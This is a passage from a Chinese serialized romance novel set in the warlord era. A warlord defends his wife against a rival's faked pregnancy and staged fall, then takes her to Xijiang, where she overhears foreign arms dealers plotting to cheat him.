老夫人见他软硬不吃,铁了心要插手,自知说不过他,再加上对方身份特殊,没法儿硬碰硬。
她索性耍起横来:“好!好一个蒋先生!我说不过你!但今天,我非得把这个毒妇带回家去!这是我们晏家的家事,就算是大总统来了,也没道理干涉婆婆怎么管教儿媳妇!”
“来人!把江浸月给我带走!”
“不行!”
江夫人冲上前,张开手挡在前面,“绝对不能让你把浸月带走!她现在跟你们回去,还能活吗?!有什么事就在这里说清楚!”
“反了反了!全都反了!”老夫人气得浑身发抖,“给我动手!连江家的人都一块儿‘请’出去!”
晏家的下人又冲上来,推搡着江夫人和杨慧敏,还要去拉扯江浸月。
江家的人也拼命拦着,现场顿时乱成一团,杯子盘子撞碎的声音、女人的哭叫声、吼骂声混在一起,眼看场面就要彻底失控!
就在这紧要关头——
“砰!”
一声枪响!
茶楼里所有人吓得抱头蹲下!一动不敢动!声音都好像卡在喉咙里,一个字都发不出,惊骇至极!
然后就看到,一道身穿墨绿色军装,披着黑色大氅的身影,带着一股冷风出现在门口。
衣摆飞扬,气势逼人,活像是阎王降临!
晏山青脸色沉得吓人,目光如鹰,扫过这乱七八糟乱成一片的现场。
他嘴角冷冷一勾,声音不大,却能清清楚楚地传进每个人的耳朵里:
“我就出城巡视一下军营,你们倒好,在这里给我唱起了全武行了?”
第54章 晏山青来了,彻底反转
老夫人看到是他来了,惊愕过后,便是浓浓的不悦:
“山青?你怎么来了?是谁这么不懂事,为了这点家务事就去惊扰你的公务?”
晏山青迈步走进来,军靴踩过地上的狼藉,目光扫过全场,最后落在被按着的江浸月身上,眼神深不见底。
“事件三方,一个是我的母亲,一个是我的夫人,还有一个,”他顿了顿,语气听不出情绪,“据说是我的孩子。我难道不应该来看看?”
老夫人沉声:“你来了也好,你是一家之主,你来处置更合适!你看看你的好夫人做下的好事!”
晏山青没接话,径直走到一张太师椅坐下,黑色大氅随意散在椅侧,他身体后靠,姿态放松。
“好,我来处置。”
话音刚落,他就毫无征兆地抬手,直接扣动扳机——砰!!
一声枪响震得所有人心脏都是一跳!子弹精准地擦着那两个压着江浸月的婆子的耳畔,没入她们身后的墙壁!
婆子吓得魂飞魄散!尖叫一声,双腿一软,跪倒在地,磕头如捣蒜:“督军饶命!督军饶命啊!”
晏山青看都没看她们,只是慢条斯理地吹了一下枪口的青烟:“谁给你们的胆子,敢对夫人动手?”
“是、是老夫人吩咐的!奴才们不敢不从啊督军!”婆子哭喊着求饶。
老夫人又惊又怒:“山青!你这是什么意思?!你要偏袒这个毒妇吗?知渝没的可是你的亲骨肉!”
陈佑宁也急着帮腔:“表哥!就是她故意把知渝姐姐推下楼的!她心肠如此歹毒……”
砰!
又是一声枪响!!
陈佑宁头上那顶精致的小礼帽应声飞了出去,子弹擦着她的发髻掠过,她吓得瞬间噤声!
……晏山青居然……对着陈佑宁开枪……
那可是他的亲表妹啊!!
在场所有人无不惊愕,陈佑宁的脸色更是惨白,双腿一软,差点瘫倒在地,还好被身边的小姐妹扶住,但小姐妹们也是一个字都不敢说!
老夫人彻底怒了:“山青!你是不是也想对我开枪?!”
晏山青语气平淡无波:“母亲息怒,儿子怎么会对母亲不敬?只是不想再听到这些添油加醋的话而已。”
老夫人气得胸口剧烈起伏:“好!好!你如果敢为了偏袒江浸月,而不给知渝和那个未出世的孩子一个公道,那我就没你这个儿子!”
“母亲言重了。”晏山青对一旁吓傻了的嬷嬷抬了抬下巴,“扶老夫人坐下,喝口茶,顺顺气。”
嬷嬷如梦初醒,连忙上前扶住气得发抖的老夫人坐下,茶楼老板战战兢兢地端上茶水。
晏山青又看向一旁的江夫人:“岳母也请坐。”
茶楼老板很有眼色,立刻也给江夫人上了一杯茶。
做完这些,晏山青才像是刚看到蒋临泽,语气挑不出错:“居然劳动蒋先生大驾,让你看笑话了。”
蒋临泽目光在他和江浸月之间转了一圈,见好就收,微微颔首:“既然督军亲自来了,那就交由督军处置了。蒋某告辞。”
说完就走。
经过这几下敲打和安排,现场剑拔弩张的气氛奇异地缓和了下来,至少没有人再敢大声喧哗吵闹。
晏山青最后才将目光投向一直沉默不语的江浸月。
两人的视线在空中交会。
他直接问,没有任何铺垫:“你推没推?”
江浸月迎着他的目光,没有丝毫闪躲,回答得同样干脆:“我没有。”
晏山青看着她一会儿,然后点了点头:“我信你。”
简单的三个字,却像是一颗投入深潭的石子,在江浸月的心头荡开一层又一层的涟漪,她的呼吸也不由自主地停了一下。
他……信她?
是真的信了,还是有别的考量?
一旁的江夫人,在经过老夫人的发难,以为这次一定在劫难逃后,听到晏山青这句话,忍不住喜极而泣,连忙用手帕捂着嘴。
杨慧敏也松了口气,欣慰地看向小姑子,觉得她往后就有了依靠。
老夫人极度不满,刚要开口,却被晏山青抬手制止了。
他看向地上昏迷的宋知渝,摇了摇头,语气带了点嘲讽:“人都摔下楼流产了,怎么不送去医院?或者叫个大夫来看看?就让她这么躺着?”
陈佑宁小声嘟囔,带着委屈和后怕:“大家都、都在气头上,忘了……”
“忘了?”晏山青嗤笑一声,“我没忘。”
他打了个响指。
早就候在门外的军医立刻提着药箱跑进来,恭敬行礼:“督军!”
“去看看,”晏山青用下巴点了点宋知渝,“看看她是不是真流产了?”
“是!”军医立刻上前,蹲下身,仔细为宋知渝号脉。
老夫人忍不住开口:“这还有什么好疑问的?血都流了那么多,孩子当然是……”
她话还没有说完,军医就站起身回禀:“报告督军!这位小姐脉象平稳有力,只是受了些惊吓,并无滑胎之象!或者说……她根本没有身孕!”
“什么?!”
“不可能!!”
此话一出,满场皆惊!
老夫人更是从椅子上猛地站了起来,尖声道:“绝不可能!你胡说八道什么!”
江浸月脸上倒是看不出太多的惊讶,甚至眼底还掠过一丝了然——果然如此。
老夫人根本不可能接受这种颠覆固有认知的事情,她指着军医,气得声音发抖:“是不是山青让你这么说的?!山青,你为了包庇那个毒妇,竟然连这种谎都敢编!!”
晏山青跷起二郎腿,语气随意:“母亲如果信不过我的军医,大可以请你的大夫来再诊一次。”
老夫人立刻对嬷嬷道:“去请保济堂的刘大夫来!”
“其实也不用多此一举,”晏山青一笑,语气带了点猫捉老鼠般的戏谑,“问问本人,不就知道了?”
他再次举起枪。
这一次,黑漆漆的枪口瞄准了地上的宋知渝。
“我数到三,你要是还装晕,”他的声音陡然一沉,“那我就让你,再也醒不过来了。”
“一。”
地上的宋知渝睫毛几不可察地颤抖了一下,但依旧强撑着没有动弹。
“二。”
空气凝固了,所有人都屏住了呼吸,宋知渝的心跳都几乎停止了。
“三。”
砰——!
枪声再次炸响!子弹精准地打在宋知渝头顶一寸远的地板上,溅起木屑!
“啊!!!”
宋知渝再也装不下去,发出一声惊恐的尖叫,猛地从地上弹坐起来,双手抱头,浑身发抖!
所有人都被这突如其来的一幕惊呆了!老夫人更是瞠目结舌!
晏山青不疾不徐地收回枪:“这不是好好的吗?看来军医没说错。”
宋知渝脸色惨白如纸,惊魂未定地看着那个如同修罗般的男人,嘴唇哆嗦,一个字都吐不出来……
晏山青已然没了耐心,枪口再次抬起,这一次,稳稳地指向了她的眉心。
“说。”
他只有一个字,声音不高,却带着能冻结血液的寒意,“到底怎么回事。”
第55章 假孕争宠,假摔陷害
宋知渝死死咬住下唇,脑子里一片混乱。
她原本、原本算计得好好的!
趁着晏山青出城,利用老夫人痛失长孙的怒火,快刀斩乱麻除掉江浸月!
可谁知道会半路杀出一个蒋临泽,一拖再拖,竟然把晏山青给等回来了!
功亏一篑!
怎么办?怎么办?
事到如今……事到如今她反而不能让真相被彻底挖出来!
她必须让事情就止步于“误会”!
宋知渝心一横,眼泪瞬间涌出来,哭得梨花带雨,楚楚可怜:
“我、我是自己不小心踩空了脚,摔下楼的时候撞到头,晕了过去,直到、直到督军您开那一枪,我才被惊醒过来,确实不关夫人的事……”
!老夫人捂住心口,脸色灰败,死死盯着她:“那你、你到底有没有怀孕?到底有没有我的孙子?!”
宋知渝垂下头,声音细若蚊蝇:“……没有。”
“你——!”
老夫人眼前一黑,整个人跌回椅子里,胸口剧烈起伏,嬷嬷连忙上前给她的胸口顺气。
她过了好一会儿,那口气才提上来,手指着宋知渝,痛心疾首,“……你为什么要骗我?!为什么啊!”
宋知渝抬起泪眼,一副悔不当初的模样:“母亲,那天我吃了不干净的东西,有些犯恶心干呕,您却欣喜若狂,认定我是有了身孕,我看您那么高兴,不忍心泼您冷水,这才、才将错就错。”
“我本来只是想哄您开心两天,等过些时日再跟您说实话,但我没想到您会这么看重这个孩子,后来事情越闹越大,我就不知道该如何解释了……”
她说着就跪下朝着老夫人磕头,“母亲!母亲!千错万错,都是知渝的错,我不该欺瞒您,可我的初衷真的只是想让您开心而已啊母亲!”
陈佑宁从最初的震惊中回过神来,紧接着涌上来的是被愚弄的滔天怒火!
她之前那么卖力地为宋知渝出头,一口咬定是江浸月推人,还差点挨了表哥一枪,结果从头到尾都是宋知渝自导自演的一出戏!
甚至连怀孕都是假的!
“宋知渝!你这个骗子!”陈佑宁怒火中烧,当场翻脸,猛地冲上前去,在所有人都没反应过来之时,扬手就狠狠扇了宋知渝一个耳光!
“啊!”
一声脆响过后,宋知渝被打得摔在地上,脸上瞬间浮现出清晰的五指印。
“什么只是为了让姨母高兴而已,你成天挺着个假肚子招摇过市,但凡有人问起你都是故作姿态地默认,整个南川都知道你怀孕,你根本就是故意假孕!”
“你骗了我!骗了姨母!骗了我们所有人!当初要不是江浸月不答应,你还要仗着这个假肚子进晏家当平妻!你简直无耻至极!”
陈佑宁气得不行,还要再打,被旁边的丫鬟慌忙拉住。
老夫人看着眼前这混乱的一幕,只觉得头痛欲裂,失望、愤怒、被愚弄的难堪,种种情绪交织在一起,让她久久说不出话。
宋知渝挨了一巴掌,哭得更凶了,转向晏山青哭道:“督军,督军!我真的不是故意要欺骗您和母亲的!一切都是阴差阳错,求您看在我们过去十年的情分上,原谅我这一次吧!”
她提起十年前,试图勾起晏山青对她早逝家人的那一点点愧疚。
晏山青面无表情地看着她,直到她说完,才开口,声音里听不出喜怒:
“宋知渝,你假孕的事,我早就知道,没拆穿,是给你,也是给母亲留面子。”
宋知渝低着头不敢说话。
晏山青继续道:“可你,变本加厉。”
“我没有!督军我真的没有……”宋知渝慌忙否认。
“你没有?”一直冷眼旁观的江浸月终于开口,声音清冷,像淬了冰,“你今天这一出栽赃陷害,难道不是蓄谋已久?否则,你身下这摊‘流产’的血,又是从哪里来的?”
宋知渝哭声一滞,一时语塞。
杨慧敏立刻快步走到那摊血迹旁,蹲下身,指尖沾了一点尚未完全凝固的液体,凑近鼻尖闻了闻,随即抬起头,脸上满是气愤:“这根本不是人血!是鸡血!她就是早就准备好要陷害浸月!”
证据确凿,宋知渝再也无法辩驳,只剩下哭泣声。
江夫人到了此刻,终于能挺直腰板,狠狠出一口先前被老夫人羞辱的憋屈:“好一招贼喊捉贼!假孕争宠,还想嫁祸我女儿,真是歹毒!老夫人,现在真相大白,您总该看清楚,到底谁才是那个‘毒妇’了吧?”
杨慧敏扶着婆婆,语气也是不卑不亢:“我们早就澄清无数遍,浸月一向行得正坐得端,绝不可能做这种事,根本就是被人陷害!要不是督军明察秋毫,堂堂督军夫人就要因为一个无名无分的宋小姐被杖责三十大板了!”
她们这些话,既是说给老夫人听的,也是说给周围那些夫人小姐听的,要为江浸月彻底正名!
老夫人无言以对,宋知渝这一出,让她的脸面和威严也丢了个一干二净!
晏山青站起身,军靴踏在地板上,一步步走到宋知渝面前,高大的身影将她完全笼罩。
他用枪管挑起她满是泪痕的下巴,迫使她抬起头。
宋知渝被这么个东西抵着,吓得浑身僵硬,脸色惨白如纸,连哭泣都忘了。
晏山青垂眼看她:“上次,我就给过你警告,别有下次。可你没把我的话,放在眼里。”
宋知渝咬唇:“青哥……”
晏山青眼神没有丝毫波动,收回枪,转身,不再看她。
“你是母亲带来的人,该如何处置,也交给母亲定夺。”
他径直走到江浸月面前,一把握住她的手腕,再看向还未从一连串打击中回过神的老夫人。
“母亲既然重视家法,那就该一视同仁,在您公正地处置完宋知渝之前,我和浸月,就暂时不回督军府了。”
说完他就拉着江浸月,大步流星地朝茶楼外走去,只留下这一室狼藉。
那些目睹了全过程的夫人小姐们,渐渐开始交头接耳,看向宋知渝的眼神充满了鄙夷和幸灾乐祸。
“真没想到,出门喝个茶,还能看到这么一出大戏。”
“装孕争宠,还栽赃正室,这心思也太歹毒了,若放在几十年前,那是要被千刀万剐的!”
“督军刚才真是爱护夫人!”
“可不是嘛,那句‘我信你’听得我都要落泪了,有夫如此,妻复何求啊!”
“宋知渝这下是真完了吧?老夫人再疼她,可这次被她耍得团团转,还差点发落了夫人,那毕竟才是她正经儿媳,为了一个连门都没过的人这么对自家人,到哪儿都说不过去。”
还有人喊道:“江夫人,江大少奶奶,你们可千万不要放过这个女人啊!”
江夫人冷笑:“当然!我江家即便不如从前了,但瘦死的骆驼比马大,也不是能任人欺凌的主!老夫人,我们就在这里等您给个交代!”
刚才有多嚣张,现在就有多难堪的老夫人,狠狠地瞪着地上的宋知渝,都是她这个祸害!
她更没想到,晏山青竟然直接走了,她可是他的母亲,他都不为她说句话,为她撑腰的!
第56章 护着你是应该的
晏山青那辆没有挂牌照的黑色汽车就停在茶楼门口。
两人一前一后上了后座,车门一关,就将茶楼里的喧嚣和混乱隔绝在外。
车子行驶起来,窗外的街景不断倒退。
沉默在车厢里蔓延,气氛有些紧绷感。
最终还是江浸月先打破安静:“是李夫人找到军营,督军才知道茶楼的事,这才赶回来的吗?”
晏山青坐姿慵懒,靠着椅背,闻言,将目光从窗外收回,落到她的脸上:“所以你是怎么笃定,我来了,就一定会站在你这边?”
江浸月接着他的目光,温声细语道:“我之前就隐约猜到,宋知渝可能没有身孕。但那种情况下,我如果空口白牙说出来,母亲盛怒之下,绝对不会相信,只会认为我是在狡辩脱罪。”
“只有督军来了,我才有机会申辩。只是没想到,督军也早就知道宋知渝没有怀孕,倒是省了我一番口舌。”
她语气真诚,“今天,多谢督军救我。”
晏山青视线在她清雅的脸上逡巡。
经过方才一番折腾,她的头发有些松散,几缕青丝贴在脸颊边,衬得肤色越发雪白,平日里的端庄也被打破,却意外地透出一种脆弱的易碎感。
……有些惹人怜惜。
他喉结轻微地滚动了一下,语气依旧随意:“用不着谢。不是有句话叫,‘夫妻一荣俱荣,一损俱损’么,你没做的事,我护你,应该的。”
江浸月心头微微触动,想起他那句“我信你”。
虽然他早就知道宋知渝没有怀孕,不存在流产,但他并不知道她知道宋知渝没有怀孕,这种情况下,他还是信她没有为了巩固自己的地位而谋杀长子,实际上就是对她人品的信任。
她微微抿唇,观察着他的神色,又试探着问:“那,督军是什么时候知道宋知渝没有身孕的?”
“一开始就知道。”他答得干脆。
“为什么不拆穿她呢?”江浸月追问,想摸清他行事的动机。
晏山青瞥了她一眼,眼神深邃:“你话多了。”
虽然挨了警告,但江浸月感觉他并没有真的动怒,反而像是纵容她的探究,她便更加胆大,问得更直接:
“是因为十年前,东湖张卫屠村的那件事吗?”
晏山青沉默了片刻,才低沉地“嗯”了一声,算是承认。
江浸月明白了。
那件事她听兄长提起过。
张卫是东湖旧军阀,屠村是为了报复晏山青的起义,宋知渝的父母亲人皆死于那场屠杀,这份间接造成的愧疚,就是晏山青对宋知渝一再容忍的原因。
江浸月懂得见好就收,没有再问下去,转而看向窗外的景色,换了话题:“我们这是要去哪儿?”
“出个远门。”晏山青言简意赅。
江浸月愣住:“直接走吗?可是我什么都没有收拾。”
“要不是回来处理你们这摊事,我现在已经在路上,时间紧迫,没空回去收拾了,缺什么东西,到了地方再买。”
他专横霸道,江浸月也只能是“哦”。
不过她又想明白另一件事:“难怪督军刚才对母亲说,不处理宋知渝我们就不回督军府了。实际上我们本就不打算回去,但借此给了母亲一个下马威,也替我撑了腰。”
她微微歪头,看着他,“一石二鸟,谢谢督军。”
晏山青哼笑一声,没承认也没否认,又问了另一个问题:“会英语吗?”
“当然会。”江浸月可是留洋回来的,语法比很多外国人都要标准。
“会就好。”晏山青目光重新看向前方,“到时候拿出你督军夫人的气势来,别像今天这样,打不还手骂不还口,丢我的人。”
江浸月忍不住辩解:“我没有任打任骂,我解释了的。但母亲正在气头上,根本听不进去,我说什么她都认为是狡辩,只会更激怒她。”
“反正我知道督军会回来为我做主,所以才干脆闭嘴,省得火上浇油。”
这话倒是取悦了晏山青,他弯了一下唇,闲闲道:“你那个哥哥,倒是很为你出头,连门都撞破了。”
江浸月敏锐地捕捉到他话里的介意,旋即道:“蒋先生是军政府特派员,他以为茶楼里出了人命案,还要动用私刑,无论如何都不能坐视不管,所以才撞破大门。但最后救下我的,是督军您。”
她的意思就是,蒋临泽是公事公办,他才是她的救星。
晏山青看着她,忽而伸出手,将她脸颊边的发丝别到耳后。
指尖与皮肤相触的瞬间,两人都顿了一下。
晏山青收回手,神态自若:“这段路还远,你累了困了,就先睡会儿,到了我叫你。”
江浸月经历了刚才那番惊心动魄,心情其实还没有平复,毫无睡意。
但她每次跟晏山青说话,都要打起十二分的精神,也确实有些累,不想再耗费心力,索性闭上眼假寐。
她在脑海里复盘,宋知渝这一招,看似风险极大,但要不是母亲和大嫂拼死阻拦,蒋临泽又强行介入拖延了时间,只要晏山青晚到一步,那三十大板落下,她不死也要残了。
所以她这一局,其实是险胜。
江浸月无声地在心里叹了口气,心绪复杂,想东想西,不知不觉就真的睡了过去。
晏山青在车上看军报,无意间瞥了身侧的江浸月一眼,看她睡得脑袋一点一点的,本来不想理,她的身体却朝他的方向倒下来。
晏山青下意识伸手,扶住了她的肩膀。
江浸月眼睫颤了一下,其实就醒了,但她……没有睁开眼,而是继续装睡,想知道晏山青会怎么做?
是叫醒自己,还是把她扶到椅背上靠着,又或者是……
下一刻,江浸月就感觉自己的脑袋被轻轻地扶到一个宽厚结实的肩膀上。
晏山青特意朝她坐近了一点,好让她靠得更加舒服,之后就没有别的动作,继续专注地看他的军报。
而前排的司机从后视镜里看到督军这种行为,也很有眼色地将车开得更加平稳,免得惊醒督军夫人。
“……”
离得太近,江浸月能闻到他身上的大氅里裹着的淡淡的烟草味。
可能是因为他风尘仆仆,又是从军营赶回城里,又是带她出远门,这股烟草味里还带着硝烟与尘土的气息,很容易就让人联想到“战场”之类的词。
江浸月本来是装睡,但他身上的气息太让人安心,她这次就真的彻底睡过去了。
第57章 这么重要的事,他居然带她来
不知过了多久,车子突然一个刹停!
惯性使得江浸月的身体向前俯冲,她瞬间从睡梦中惊醒过来,条件反射地伸手扶住前排的座椅。
缓了一会儿,她喃喃地问:
“……督军,我们到了吗?”
“嗯。”
晏山青应了一声,而后推开车门,长腿一迈,先行下车。
江浸月看向窗外,这才发现,天竟然已经完全黑了。
虽然天黑了,但外面却依旧是灯火璀璨,霓虹闪烁。
路上的行人摩肩接踵,穿着打扮也是时髦又洋派的。
这里……
不是南川。
江浸月愣愣地看着眼前这片歌舞升平的景象。
这里应该是——西江。
南川的邻省,但比南川繁华,是各路商贾、政要乃至洋人的汇聚之地。
她竟然一觉睡到了西江。
不对。
是晏山青来西江做什么?
江浸月随后下车,晏山青站在车边等她。
他军装笔挺,在这片光怪陆离的夜景中,像一根定海神针,自成一方气场。
他回头看了她一眼,曲起手臂。
江浸月心领神会,上前几步,挽住他的臂弯。
两人刚刚站定,一个穿着西装,身材微胖的中年男人,便从面前这栋装饰得金碧辉煌的酒楼里快步迎了出来,脸上堆砌着热切的笑容:
“晏督军!您可算到了!一路辛苦,一路辛苦!”
他很自然地注意到江浸月,“这位小姐是……”
晏山青言简意赅:“我夫人。”
中年男人恍然大悟,态度越发恭敬,“原来是督军夫人!失敬失敬!督军,夫人,快请进,宴席已经准备好了,就等二位了!”
晏山青颔首,带着江浸月,在男人的引导下走进酒楼。
酒楼内部更是极尽奢华,水晶吊灯、装饰画、留声机、香槟酒……这种场面,江浸月从国外回来后,就没见过了。
她以前只知道西江富贵,没想到富贵到这个程度,真是叫人意外。
他们一路穿过觥筹交错的大厅,走上铺着厚地毯的楼梯,最终停在一间包厢门口。
中年男人双手推开雕花木门。
包厢内温暖如春,灯光是更柔和的暖黄色,桌上摆满了精致的佳肴。
而最让江浸月意外的是,里面竟然还坐着两个金发碧眼的洋人。
那两个洋人见到他们进来,也立刻站起身,脸上堆着笑容。
“……”
江浸月这才明白,晏山青那句“会英语吗”和“拿出督军夫人的气势”意味着什么。
中年男人招呼着众人落座,席间推杯换盏,谈笑风生,一派和气。
江浸月安静地坐在晏山青的身侧,听着他们你来我往,不多时便摸清了这场饭局的底细——
这个中年男人,江湖人称“段老板”,是一个买办,居中牵线,晏山青要从这两个洋人的手里买一批军火。
如今的世道,就是枪杆子下出政权,手里有军火,说话办事就硬气。
而军阀们的军火,一部分是国内自己造的,但技术限制,难以生产重武器;另一部分就是从国外购买的。
段老板受洋人所托,寻找买家,出售他们手里的兵器,于是就找到了晏山青。
江浸月面上不显,心里却有些意外,这么要紧的事,晏山青竟然会带她来?
带她来干什么?
那两个洋人,一个叫约翰,一个叫威廉,都会说中文,根本不用她翻译。
江浸月微微偏头去看晏山青,他正在端详洋人带来的样品,一支冲锋枪。
他倏地举起来,瞄准远处的一个点,侧脸凌厉冷硬。
段老板笑呵呵道:“晏督军,怎么样?是好枪吧?”
晏山青:“尚可。”
这笔生意,双方谈得极其顺畅。
从枪械型号、弹药数量,到运输路线和交付时间,几乎是一拍即合。
约翰端起酒杯,笑呵呵道:“晏督军,请放心,这批M1921汤姆森冲锋枪,绝对是美国最新的货色,射速快,稳定性好,包您满意!五百支,配套子弹十万发,三个月后,准时给您送到南川码头!”
威廉紧接着补充:“价格就按您提议的,一口价,三十五万大洋!我们再额外送您十箱手雷!”
段老板在一旁笑得见牙不见眼:“督军,您看呢?”
晏山青没有说话,只是放下酒杯,手指在桌面上轻轻一敲,包厢门就立刻被人拉开,司机提着一个皮箱进来,放在一旁的柜子上,打开——
里面是码得整整齐齐,金黄澄澄的金条!
两个洋人的眼睛瞬间直了,段老板的呼吸也重了几分。
晏山青声音平淡:“这是定金。尾款,等货到,当场付清。”
“好说!好说!”约翰和威廉忙不迭地举杯,“合作愉快!督军真是爽快人!能跟您合作,是我们的荣幸!!”
晏山青也举杯,略一示意,仰头饮尽。
江浸月跟着浅浅抿了一口。
酒过三巡,晏山青站起身,指尖夹着烟:“我出去抽根烟。”
段老板赶紧跟着站起来:“我陪您,我陪您。”
江浸月下意识跟着起身,晏山青的手却极其自然地在她手腕上轻轻一握,力道不重,带着某种暗示。
江浸月心脏一跳,瞬间会意,重新坐稳,柔声细语道:“外面冷,我就不出去了,在这儿等督军回来。”
“夫人可以听一听我们西江有名的琵琶乐!”
段老板拍了两下手,马上就有几个身穿旗袍的女艺人抱着琵琶进来,坐到珠帘后。
很快,柔婉的乐声便在包厢内流淌开,江浸月也做出欣赏音乐的样子。
过了几分钟,那两个洋人开始用英语交谈起来。
“嘿,约翰,这女人,听不懂我们说什么吧?”
“当然!看她那身打扮,典型的东方闺秀,平时大门不出二门不迈,估计连英语是什么都不知道!不过,脸蛋和身段倒是不错,哈哈哈!”
“晏山青也没有传闻中的那么厉害嘛!这么容易就上当了!”
“东方猪,哪有聪明的?等他们发现咱们那批‘最新货色’,其实是美军去年就淘汰掉的废品,我们早就带着尾款坐上回国的轮船了!他能拿我们怎么样?”
“真想看看他那时候的表情,三十五万大洋买了一堆废铁,哈哈哈!”
“……”
江浸月端着茶盏,指尖微微发凉,脸上却依旧是一片恬淡,仿佛完全沉醉在琵琶声里,也听不懂他们接二连三的侮辱性言语。
过了一会儿,晏山青和段老板回来了。
晏山青一副累了的样子,直接道:“今天就先这样,散了吧。”
段老板连忙道:“房间都给您和夫人安排好了,顶好的套房,您旅途劳顿,今晚就在这儿歇下吧?”
晏山青不动声色地“嗯”了一声。
段老板亲自送他们到了房间门口,而后识趣地告退。
房门一关上,江浸月立刻握住晏山青的手臂,急声道:“督军!这两个洋人有问题!”
第58章 你的脾气还挺对我胃口
江浸月的语速飞快,将方才在席间听到的洋人对话,一字不落地复述给晏山青听。
晏山青听完,脸上没什么意外之色:“我就知道他们有问题,果然,天上没有掉馅饼的好事。啧,骗老子白高兴一场。”
“……”确实,如果真能捡漏一批精装军火,几十万大洋倒是不贵。
可惜了。
江浸月抿唇:“那现在怎么办?要不要立刻召集人手,把他们拿下?”
晏山青闻言,倒是笑了一声,低头看了看她:“换作一般人,识破骗局,也就是想办法把定金拿回来,终止合作。而你,江三小姐,第一反应竟然是抓人?”
江浸月迎着他的目光,眼神清亮:“总不能白白被他们骗了。敢骗到督军头上,不给他们一个教训,还真以为我们东方人都是任人宰割的肥羊呢!”
晏山青眼底有几分欣赏,伸手捏住她的下巴,动作随意,语气却认真:“你的脾气还挺对我胃口。”
他松开手,走到窗边,看着西江璀璨的夜景,语气玩味儿又肃杀,“来都来了,那就陪他们玩玩吧。”
江浸月立刻走到他的身侧:“督军的意思是?”
“他们不是想要钱吗?那就让他们赔个大的。”
晏山青转身,背靠着窗框,似笑非笑道,“夫人应该也没怎么来过西江吧?正好,我们就在这边过年。”
江浸月大概明白他的打算了,嘴角勾起一抹心照不宣的弧度:“好啊。”
于是这一晚,他们便在段老板安排的套房住下。
次日早晨,江浸月在里间洗漱完毕,换好衣物走出来时,恰好听见外间晏山青正在与副官对话。
“……督军,老夫人罚宋小姐跪在她父母灵前思过,直到过年,都不准踏出祠堂半步。”
江浸月脚步微顿。
闹出那么大的事,让晏家颜面扫地,宋知渝的惩罚居然只是罚跪祠堂而已?
老夫人果然还是心疼宋知渝的。
也是。
毕竟是自己看着长大的人,再加上宋知渝那套哭求的本事,老夫人怎么可能不心软?
而且罚跪父母灵前,这举动也很意味深长,倒像是在提醒晏山青,宋知渝父母的死。
晏山青冷笑一声:“思过?她要是能思出过错,也不会走到今天这一步。去回话,就说军务繁忙,这个年,让母亲自己过吧。”
副官应声退下。
江浸月这才掀开帘子走出去。
晏山青正站在穿衣镜前整理衬衫领口,从镜子里看到她,随口道:“也跟你这个苦主说一声,母亲对宋知渝的处置,是罚跪。”
江浸月拿起那条蓝格条纹的领带,绕到他的正面,帮他系上,语气没什么波澜:“哦。”
晏山青:“只是这样?没点别的反应?”
江浸月手上动作不停,打了一个熨帖的领带结:“我倒是很想打她三十大板,让她尝尝皮开肉绽的滋味,就怕母亲舍不得。”
她顿了顿,又说,“没准,督军也舍不得。”
晏山青一把扣住她的手,垂着眼道:“我要是舍不得,就不会让副官那么去回话了。”
手腕被他攥着,有些发紧,江浸月敏锐地感觉出他有点不高兴,好像是因为……她那句话有讽刺他的意思?
江浸月承认自己确实有点生气,宋知渝那一出假摔陷害,差点让她吃苦头,而她母亲和大嫂、明婶乃至蒋临泽,都因为袒护她而被老夫人辱骂。
可真相大白后,老夫人气归气,却还是不肯重罚宋知渝,她心里当然不痛快。
但这份不痛快,确实不能对着晏山青发,跟他没有关系。
江浸月迎上他的视线,嫣然一笑:“我跟督军开玩笑的。”
晏山青盯着她看了好一会儿,才缓缓松开手,嗓音淡了一些:“你做好这个督军夫人,我会护着你的。”
“……”
平心而论,晏山青确实算是很护着她,无论是在外人面前,还是老夫人面前,都没让她受过伤害。
但……
江浸月垂下眼睫,掩去眸中一闪而过的复杂情绪,轻声应道:
“嗯,我一直都有尽力做好这个督军夫人,不给督军跌份儿。”
这时,门外传来段老板的轻声询问:“督军,夫人,起身了吗?我准备了西江特色早点,想请二位尝尝。”
“来了。”晏山青穿上西装外套,然后将手掌心向上,伸到江浸月面前。
江浸月一愣,旋即将自己的手放入他的掌心。
晏山青收拢手掌,包裹住她的指尖,道:“现在,就是需要夫人,做好‘督军夫人’的时候了。”
江浸月明白微笑:“一定让督军满意。”
两人跟着段老板来到楼顶的露天餐厅。
艳阳初升,视野开阔,这里可以俯瞰大半个西江城。
白天的西江褪去夜晚的纸醉金迷,显露出另一种繁荣热闹。
早市上人来人往,叫卖声不绝于耳,竟真有几分太平盛世的景象。
江浸月走到栏杆边眺望,有些好奇地问:“这西江的督军是谁啊?”
段老板笑呵呵地回答:“夫人有所不知,西江情况特殊,没有实际掌权的督军,各方势力维持着平衡,是个自由贸易港,所以才会比别处更显繁华。”
江浸月了然地点头,回到桌边坐下。
早点很是精致,有蒸虾饺、烧麦、豉汁凤爪等等,味道确实很鲜美,她尝了几口,夸赞道:“段老板安排得周到,这点心很地道。”
段老板忙不迭说:“夫人喜欢就好,这西江衣食住行样样都是好的,等会儿我再让我内人陪夫人到那些个时装店首饰店挑些好的,就当是我送给夫人的。”
“这怎么好意思呢?”
“夫人不必客气,是我们还要谢督军赏口饭吃。”段老板说着就又给晏山青倒茶。
江浸月便借着这个话题,闲聊般问道:“说来,段老板是怎么认识约翰和威廉那两位先生的?”
段老板道:“不瞒夫人,我常年做些国内外的小生意,一来二去就认识了。”
江浸月夹起一个虾饺,继续问:“哦?那他们具体是什么来头?那些军火,又是从什么渠道来的?”
这个问题稍微触及敏感地带,段老板下意识地看向晏山青。
晏山青却只是慢条斯理地喝茶,神色淡然,并未出声打断。
江浸月放下筷子,淡笑道:“我们花真金白银做这笔生意,总得对合作伙伴知根知底才放心,段老板为何要遮遮掩掩,难道是有什么内情?”
段老板额角见汗,连忙解释:“夫人误会了!这些背景资料,我早就详细禀报过督军了。”
晏山青眼皮一撩:“跟我说过了,就不能跟我夫人再说一遍?我夫人问什么,你答什么便是。”
“是是是!”
段老板连连点头,只好硬着头皮,将两个洋人虚构的来历和货物来源又说了一遍,言辞间不免有些含糊。
江浸月在国外留学多年,对欧美军火市场并非一无所知,她安静听完,接着就点出段老板话里的几处漏洞。
段老板顿时有些慌乱,支支吾吾地试图圆谎:“这个这个……这个是因为……”
第59章 我的枪,还在你那里呢
晏山青扬了一下手,适时打断江浸月的追问:“好了夫人,做生意的人,谁还没点不能摆在明面上的门路?大致清楚就行了。”
